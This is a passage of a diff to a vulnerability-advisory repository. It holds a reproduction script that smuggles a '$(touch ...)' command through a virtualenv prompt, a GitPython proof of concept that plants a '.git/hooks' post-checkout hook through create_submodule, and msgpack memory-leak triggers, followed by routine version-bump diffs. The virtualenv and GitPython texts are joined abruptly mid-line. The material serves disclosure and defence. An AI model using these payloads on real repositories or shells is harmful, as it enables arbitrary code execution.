ignore_errors=True)\nwork.mkdir()\nmarker = work / \"MARKER\"\nprint(\"sh is\", Path(\"/bin/sh\").resolve())\n\n# attacker: only the text a tool such as tox or hatch relays as --prompt\nhostile_prompt = f\"x$(touch {marker})y\"\n\n# set up: the environment, made with the virtualenv command\nsubprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \"--without-pip\", \"--activators\", \"bash\",\n \"--prompt\", hostile_prompt, str(work / \"env\")],\n check=True, stdout=subprocess.DEVNULL,\n)\nassert not marker.exists(), \"creating the environment must not run the prompt\"\n\n# user: in an interactive bash, source bin/activate, then start sh.\n# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns\nsession = Path(\"/tmp/repro.d/user_session.sh\").read_text()\ninteractive_bash = [\"bash\", \"--norc\", \"--noprofile\", \"-i\"]\n\n# control: PS1 set in bash but not exported, so sh does not inherit it\ncontrol = subprocess.run(interactive_bash, input=\"PS1='\\\\$ '\\n\" + session,\n stderr=subprocess.PIPE, text=True, check=True)\nprint(control.stderr)\nran_in_control = marker.exists()\nprint(\"CONTROL PS1 not exported: marker created:\", ran_in_control)\n\n# attack: the same session with the one difference that PS1 is exported\nattack = subprocess.run(interactive_bash, input=\"export PS1='\\\\$ '\\n\" + session,\n stderr=subprocess.PIPE, text=True, check=True)\nprint(attack.stderr)\nran_in_attack = marker.exists()\nprint(\"OBSERVED PS1 exported: marker created:\", ran_in_attack)\n\n# check: the prompt text must be drawn, never run, by every shell that draws it\nprint(\"BUG\" if ran_in_attack and not ran_in_control else \"OK\")\n```\n\n**`repro.d/user_session.sh`**\n\n```text\n. /tmp/repro-inherited-ps1/env/bin/activate\nsh -i /.git/hooks\n 714: index.add([sm], write=True) # strict check only triggers here\n\ngit/index/base.py (IndexFile._preprocess_add_items)\n 732: _validate_repo_path(entry.path) # rejects \".git\", too late\n\n_to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are\nrejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and\nruns at the index boundary. The ValueError it raises at line 732 does not roll back\nwhat _clone_repo already wrote.\n\nVersion-dependent behavior:\n- 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the\n hook is already on disk and is not removed (incorrect order of validation vs. clone).\n- 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does\n not reject `.git`; create_submodule(path=\".git/hooks\", ...) returns with no error at\n all and the hook is planted silently.\n\n### Proof of concept\n\n\nSetup:\n evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)\n victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO\n sample hooks (the state of a minimal/CI checkout, or `git init` with an empty\n template dir, or GIT_TEMPLATE_DIR/init.templateDir empty)\n\nimport git, os.path as osp\ntry:\n git.Repo(\"victim\").create_submodule(name=\"x\", path=\".git/hooks\", url=osp.abspath(\"evilsub\"))\nexcept ValueError:\n pass # 3.2.0+: \".git\" is rejected, but only AFTER the clone, so the plant already happened.\n # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.\n\n#### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every\n#### affected version. Any later checkout runs it:\n#### git -C victim checkout -> the hook runs -> code execution\n\nVerified live:\n- tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from\n git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and\n `git checkout` executed it.\n- 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted\n and executed by `git checkout`.\n\n### Impact\n\nArbitrary code execution. A library/app that creates a submodule from an\nattacker-influenced `path` ends up with an attacker-controlled executable in\n`.git/hooks`, which git runs on ordinary later operations. This affects any service\nthat derives a submodule checkout path from untrusted data, e.g. one that ingests a\nsubmodule spec (name/path/url) from a user-supplied manifest or API request and feeds\n`path` into create_submodule. On 3.2.0+ the library's own validation is the thing that\nfails: it correctly rejects the `.git` path, but only after the submodule has already\nbeen cloned into place, so an app that traps the ValueError reasonably believes the\nunsafe path was blocked.\n\nPreconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`;\n(2) the target hook name is free in `.git/hooks`, true for minimal/CI/container\ncheckouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default\nsample hooks present, `git clone` refuses the non-empty destination and no plant occurs.\n\nAffected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08\n(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-83vg-56qc-22m7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114145" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2264" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/97eadb888d2f99567e3113f4e455be4ca128f697" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-114613.json b/advisories/BREW-conda-lock-CVE-2026-114613.json new file mode 100644 index 00000000000..911c980e8c9 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-114613.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-114613", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-j586-36cw-2gc2", + "CVE-2026-114613" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "4.0.2_7" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "1.2.3", + "resource": "msgpack", + "resource_purl": "pkg:pypi/msgpack@1.2.3" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "msgpack", + "subject_version": "1.2.3", + "key": "pkg:pypi/msgpack@1.2.3", + "resource": "msgpack" + } + ] + }, + "summary": "MessagePack: Unbounded memory leak in msgpack C extension on strict_map_key validation failure", + "details": "### Impact\n\nThe msgpack-python C extension (`msgpack._cmsgpack`) leaks a decoded map value when deserialization rejects a key with `strict_map_key=True` (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both `unpackb()` and the streaming `Unpacker` API are affected. The pure-Python fallback does not exhibit this leak in the reported tests.\n\nThe report measured approximately 4 MiB retained per failed parse and 100 MiB after 25 failed parses on Windows with Python 3.14 and msgpack 1.2.2. These are reporter-provided results.\n\n### Additional impact: stale parser-stack references\n\nThe reference-ownership audit performed while fixing this leak found an\nadditional memory-safety issue in the streaming `Unpacker`.\n\nAfter `unpack()` completed a nested container, an inactive parser-stack slot\ncould retain a non-owning pointer to the decoded object. A subsequent `skip()`\ncould reactivate that slot. If parsing then failed, context cleanup treated the\nstale pointer as an owned reference and decremented it.\n\nThis corrupts the object's reference count and can result in a use-after-free\nor double `Py_DECREF` when its actual owners later release it.\n\nAlthough few users use this API, but those who do may experience crashes or unexpected errors due to a use-after-free.\n\n### Details\n\nIn `msgpack/unpack.h`, `unpack_callback_map_item()` rejects keys that are neither `str` nor `bytes`. At this point the map value has already been constructed. The early error return does not release the value reference.\n\nIn `msgpack/unpack_template.h`, the value is held in the local `obj` in `unpack_execute()`. The `CT_MAP_VALUE` error path jumps to `_failed` without decrementing that reference. Cleanup of the parser stack does not recover the value because it is not stored in the stack. The fallback checks the key before decoding the value.\n\n### Affected versions\n\nThe report reproduces the issue on **1.2.2** and reports it on development commit `475c1b7`. The affected-product field lists the reproduced release only; it is not a claim that earlier releases are unaffected.\n\nThe earliest affected release needs confirmation: the report's summary says 1.1.x through 1.2.2, while its root-cause analysis attributes introduction to commit `cd81370` (PR #673). Resolve this discrepancy before publishing a definitive affected-version range.\n\n### Reproduction\n\nRun in a disposable local process with the C extension installed:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nmsgpack.unpackb(payload) # Raises ValueError; the report observes a 4 MiB leak.\n```\n\nStreaming API trigger:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nu = msgpack.Unpacker()\nu.feed(payload)\nlist(u) # Same strict_map_key error path.\n```\n\n### Workarounds\n\nThe pure-Python fallback is reported not to leak on this path and may be used as a temporary workaround after application compatibility and performance checks. Request-size and rate limits may reduce the impact but do not eliminate cumulative leakage.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/msgpack/msgpack-python/security/advisories/GHSA-j586-36cw-2gc2" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114613" + }, + { + "type": "WEB", + "url": "https://github.com/msgpack/msgpack-python/commit/620b0eb4c89cd72d4098564537624d9dbb2ce141" + }, + { + "type": "PACKAGE", + "url": "https://github.com/msgpack/msgpack-python" + }, + { + "type": "WEB", + "url": "https://github.com/msgpack/msgpack-python/releases/tag/v1.2.3" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-42215.json b/advisories/BREW-conda-lock-CVE-2026-42215.json index 213bc91d125..d916b82a06e 100644 --- a/advisories/BREW-conda-lock-CVE-2026-42215.json +++ b/advisories/BREW-conda-lock-CVE-2026-42215.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-42215", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-rpm5-65cw-6hj4", "CVE-2026-42215", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.47", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-42284.json b/advisories/BREW-conda-lock-CVE-2026-42284.json index 48c88b0c41a..a829118d2d7 100644 --- a/advisories/BREW-conda-lock-CVE-2026-42284.json +++ b/advisories/BREW-conda-lock-CVE-2026-42284.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-42284", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-x2qx-6953-8485", "CVE-2026-42284", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.47", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-44243.json b/advisories/BREW-conda-lock-CVE-2026-44243.json index 9d71c7dce52..9318e0d59a7 100644 --- a/advisories/BREW-conda-lock-CVE-2026-44243.json +++ b/advisories/BREW-conda-lock-CVE-2026-44243.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-44243", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-7545-fcxq-7j24", "CVE-2026-44243", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.48", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-44244.json b/advisories/BREW-conda-lock-CVE-2026-44244.json index b2c8f1dea12..0551051daad 100644 --- a/advisories/BREW-conda-lock-CVE-2026-44244.json +++ b/advisories/BREW-conda-lock-CVE-2026-44244.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-44244", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-v87r-6q3f-2j67", "CVE-2026-44244", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.49", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-59890.json b/advisories/BREW-conda-lock-CVE-2026-59890.json index c372a533760..4604f3a4351 100644 --- a/advisories/BREW-conda-lock-CVE-2026-59890.json +++ b/advisories/BREW-conda-lock-CVE-2026-59890.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-59890", "published": "2026-08-13T16:41:05Z", - "modified": "2026-09-17T18:12:38Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-h35f-9h28-mq5c", "BIT-setuptools-2026-59890", @@ -34,7 +34,7 @@ "range_state": "fixed", "upstream_fixed_in": "83.0.0", "resource": "setuptools", - "resource_purl": "pkg:pypi/setuptools@84.0.0" + "resource_purl": "pkg:pypi/setuptools@84.2.1" } } ], @@ -47,8 +47,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "setuptools", - "subject_version": "84.0.0", - "key": "pkg:pypi/setuptools@84.0.0", + "subject_version": "84.2.1", + "key": "pkg:pypi/setuptools@84.2.1", "resource": "setuptools" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-67322.json b/advisories/BREW-conda-lock-CVE-2026-67322.json index d85aa715606..47c24b10e6b 100644 --- a/advisories/BREW-conda-lock-CVE-2026-67322.json +++ b/advisories/BREW-conda-lock-CVE-2026-67322.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-67322", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-rwj8-pgh3-r573", "CVE-2026-67322", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.52", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-67323.json b/advisories/BREW-conda-lock-CVE-2026-67323.json index e0e9c8b2adc..876f66e4eac 100644 --- a/advisories/BREW-conda-lock-CVE-2026-67323.json +++ b/advisories/BREW-conda-lock-CVE-2026-67323.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-67323", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-956x-8gvw-wg5v", "CVE-2026-67323", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.51", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-67324.json b/advisories/BREW-conda-lock-CVE-2026-67324.json index cb0748e5e94..61dde147645 100644 --- a/advisories/BREW-conda-lock-CVE-2026-67324.json +++ b/advisories/BREW-conda-lock-CVE-2026-67324.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-67324", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-v396-v7q4-x2qj", "CVE-2026-67324", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.51", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-67325.json b/advisories/BREW-conda-lock-CVE-2026-67325.json index 911655564e5..21c8ba3f67a 100644 --- a/advisories/BREW-conda-lock-CVE-2026-67325.json +++ b/advisories/BREW-conda-lock-CVE-2026-67325.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-67325", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-2f96-g7mh-g2hx", "CVE-2026-67325", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.51", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-67326.json b/advisories/BREW-conda-lock-CVE-2026-67326.json index e97eaffa89f..bf57e9b8dcc 100644 --- a/advisories/BREW-conda-lock-CVE-2026-67326.json +++ b/advisories/BREW-conda-lock-CVE-2026-67326.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-67326", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-mv93-w799-cj2w", "CVE-2026-67326", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.50", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-69097.json b/advisories/BREW-conda-lock-CVE-2026-69097.json index c731ca2e5bb..3294de6cdcd 100644 --- a/advisories/BREW-conda-lock-CVE-2026-69097.json +++ b/advisories/BREW-conda-lock-CVE-2026-69097.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-69097", "published": "2026-08-13T16:41:05Z", - "modified": "2026-10-21T08:49:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-3rp5-jjmw-4wv2", "CVE-2026-69097", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.53", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-73619.json b/advisories/BREW-conda-lock-CVE-2026-73619.json index 3830170bef8..e270b708592 100644 --- a/advisories/BREW-conda-lock-CVE-2026-73619.json +++ b/advisories/BREW-conda-lock-CVE-2026-73619.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-73619", "published": "2026-08-14T08:55:34Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-539m-9xh6-q6rr", "CVE-2026-73619", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.57", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-73620.json b/advisories/BREW-conda-lock-CVE-2026-73620.json index 51a8ac6f662..3743572e8ae 100644 --- a/advisories/BREW-conda-lock-CVE-2026-73620.json +++ b/advisories/BREW-conda-lock-CVE-2026-73620.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-73620", "published": "2026-08-14T08:55:34Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-3f7w-8rr8-f37f", "CVE-2026-73620", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.57", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-73621.json b/advisories/BREW-conda-lock-CVE-2026-73621.json index 5e3facfb797..9ccb37761d2 100644 --- a/advisories/BREW-conda-lock-CVE-2026-73621.json +++ b/advisories/BREW-conda-lock-CVE-2026-73621.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-73621", "published": "2026-08-14T08:55:34Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-p538-c434-8v24", "CVE-2026-73621", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.56", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-73622.json b/advisories/BREW-conda-lock-CVE-2026-73622.json index 779891d0b39..5778ca6b56b 100644 --- a/advisories/BREW-conda-lock-CVE-2026-73622.json +++ b/advisories/BREW-conda-lock-CVE-2026-73622.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-73622", "published": "2026-08-14T08:55:34Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-94p4-4cq8-9g67", "CVE-2026-73622", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.55", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-73623.json b/advisories/BREW-conda-lock-CVE-2026-73623.json index c832745122c..8e31b0a380a 100644 --- a/advisories/BREW-conda-lock-CVE-2026-73623.json +++ b/advisories/BREW-conda-lock-CVE-2026-73623.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-73623", "published": "2026-08-14T08:55:34Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-6p8h-3wgx-97gf", "CVE-2026-73623", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.54", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-73624.json b/advisories/BREW-conda-lock-CVE-2026-73624.json index 60d230d10f8..bd60a81754e 100644 --- a/advisories/BREW-conda-lock-CVE-2026-73624.json +++ b/advisories/BREW-conda-lock-CVE-2026-73624.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-73624", "published": "2026-08-14T08:55:34Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-fjr4-x663-mwxc", "CVE-2026-73624", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.54", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-73625.json b/advisories/BREW-conda-lock-CVE-2026-73625.json index aec8e7ce321..57429070f97 100644 --- a/advisories/BREW-conda-lock-CVE-2026-73625.json +++ b/advisories/BREW-conda-lock-CVE-2026-73625.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-73625", "published": "2026-08-14T08:55:34Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-r9mr-m37c-5fr3", "CVE-2026-73625", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.54", "resource": "gitpython", - "resource_purl": "pkg:pypi/gitpython@3.2.0" + "resource_purl": "pkg:pypi/gitpython@3.2.1" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "gitpython", - "subject_version": "3.2.0", - "key": "pkg:pypi/gitpython@3.2.0", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", "resource": "gitpython" } ] diff --git a/advisories/BREW-conda-lock-CVE-2026-76217.json b/advisories/BREW-conda-lock-CVE-2026-76217.json index 963915b6bfc..e610b4d4811 100644 --- a/advisories/BREW-conda-lock-CVE-2026-76217.json +++ b/advisories/BREW-conda-lock-CVE-2026-76217.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-conda-lock-CVE-2026-76217", "published": "2026-08-20T08:44:16Z", - "modified": "2026-10-12T17:39:45Z", + "modified": "2026-10-29T21:39:28Z", "upstream": [ "GHSA-hh9p-6wh2-4mfc", "CVE-2026-76217", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.1.58", "resource": "gitpython", - "resource_purl": 